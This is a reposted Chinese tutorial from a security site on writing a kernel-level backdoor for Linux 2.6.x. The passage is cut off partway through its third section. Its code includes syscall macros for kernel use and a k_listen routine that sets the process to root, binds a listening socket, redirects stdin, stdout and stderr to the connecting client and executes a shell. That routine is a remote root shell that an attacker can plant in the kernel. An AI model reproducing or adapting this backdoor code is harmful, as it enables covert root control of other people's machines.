频道栏目
首页 > 资讯 > Linux > 正文

抒写Linux 2.6.x下内核级后门程序

08-09-28        来源:[db:作者]  
收藏   我要投稿

Author: wzt
EMail: wzt@xsec.org
Site: http://www.xsec.org & hhtp://hi.baidu.com/wzt85
Date: 2008-8-29

一. 内核后门简介
二. 内核中系统调用
三. 使用kernel mode socket函数
四. 如何扩展后门
五. 参考资料
六. 相关源代码

一. 内核后门简介

所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽, 性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功 能,有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的root-kit.
本文只介绍2种实现内核后门的基本方法,如果您有更好的方法,还请多多指教。

二. 内核中系统调用

Unix世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函 数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数,如:

int my_read(int fd, char * buf, off_t count)
{
long __res;

__asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

: "=a" (__res)
: "0" (__NR_read), "ri" ((long)(fd),     "c"((long)(buf),
"d" ((long)(count)) :"memory");

return (int)(__res);
}

这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能, 就必须调用某些函数来进行socket通信。 本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。

通过上面的例子,我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中,这样在内核空间执行系统调用感觉效率会很低,但是对我们来说,编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。

linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏:

#define my__syscall_return(type, res)
do {
if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) {
errno = -(res);
res = -1;
}
return (type) (res);
} while (0)

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)
type name(type1 arg1,type2 arg2,type3 arg3)
{
long __res;
__asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx"
: "=a" (__res)
: "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)),
"d" ((long)(arg3)) : "memory");
my__syscall_return(type,__res);
}

my_syscall3代表这个系统调用有3个参数,以read系统调用为例,我们可以在内核空间中这样使用它:
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);

编译的时候就会被展开成:

int read(int fd, char * buf, off_t count)   
{                                           
long __res;                             

__asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

: "=a" (__res)
: "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf),
"d" ((long)(count)) :"memory");

return (int)(__res);
}

本文后面将会给出比较全面的宏,通过这些宏,可以在内核中随意的使用系统调用。

好了,现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的:

linux-2.6.18/net/socket.c

asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
unsigned long a[6];
unsigned long a0,a1;
int err;

...

a0=a[0];
a1=a[1];

switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
case SYS_BIND:
err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
break;
case SYS_CONNECT:
err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
break;
case SYS_LISTEN:
err = sys_listen(a0,a1);
break;
case SYS_SOCKETPAIR:
err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);
break;
case SYS_SEND:
err = sys_send(a0, (void __user *)a1, a[2], a[3]);
break;
...
}

通过向sys_socketcall函数2个参数来执行具体的函数调用,参数call一般为SYS_SOCKET, SYS_BIND等,args是一个数组,通过向这个数组的每个元素赋值,来调用不同的函数。以bind这个函数为例,可以这样调用:

struct sockaddr_in cli_addr;
unsigned long args[];

args[0] = sock_fd;
args[1] = (unsigned long)cli_addr;
args[2] = (unsigned long)sizeof(struct sockaddr_in);

sys_socketcall(SYS_BIND, args);

其他函数类似。这样就可以在内核中来使用这些socket函数了。

下面给出一个具体的监听某一个端口的例子:
int k_listen(int port)
{
struct task_struct *tsk = current;
struct sockaddr_in serv_addr;
struct sockaddr_in cli_addr;
mm_segment_t old_fs;
char buff[100];

unsigned long arg[3];
int sock_fd, sock_id;
int tmp_kid;
int i, n, cli_len;

old_fs = get_fs();

tsk->uid = 0;
tsk->euid = 0;
tsk->gid = SGID;
tsk->egid = 0;

/* create socket */
arg[0] = AF_INET;
arg[1] = SOCK_STREAM;
arg[2] = 0;

set_fs(KERNEL_DS);

ssetmask(~0);

for (i=0; i < 4096; i++)
close(i);

if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
set_fs(old_fs);

return 0;
}
printk("create socket ok. ");

/* bind address */
memset((void *) &serv_addr, 0, sizeof(serv_addr));

serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = 0;

arg[0] = sock_fd;
arg[1] = (unsigned long) &serv_addr;
arg[2] = (unsigned long) sizeof(serv_addr);

if ((socketcall(SYS_BIND, arg)) == -1) {
close(sock_fd);
set_fs(old_fs);

return 0;
}
printk("bind address ok. ");

/* begin listen */
arg[0] = sock_fd;
arg[1] = (unsigned long) 255;

if ((socketcall(SYS_LISTEN, arg)) == -1) {
close(sock_fd);
set_fs(old_fs);

return 0;
}
printk("listen on port %d ", port);

cli_len = sizeof(cli_addr);
arg[0] = sock_fd;
arg[1] = (unsigned long) &cli_addr;
arg[2] = (unsigned long) &cli_len;

if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
printk("accept error. ");

close(sock_fd);
set_fs(old_fs);

return 0;
}
printk("accept a client. ");

dup2(sock_id, 0);
dup2(sock_id, 1);
dup2(sock_id, 2);

execve(earg[0], (const char **) earg, (const char **) env);

close(sock_id);
close(sock_fd);
set_fs(old_fs);

return 1;
}

三.使用kernel mode socket函数

前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的,同样在linux-2.6.18/net/socket.c中:

在user mode socket中的socket函数的功能是建立个套接字,它是调用sys_socket函数来实现的,因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的:

asmlinkage long sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;

retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
goto out;

retval = sock_map_fd(sock);
if (retval < 0)
goto out_release;

out:

return retval;

out_release:
sock_release(sock);
return retval;
}

关键就2个函数,sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。 有兴趣

相关TAG标签
上一篇:百万电脑被病毒秘密控制 院士专家共商出路
下一篇:社会工程学让拍拍骗子难逃法网
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站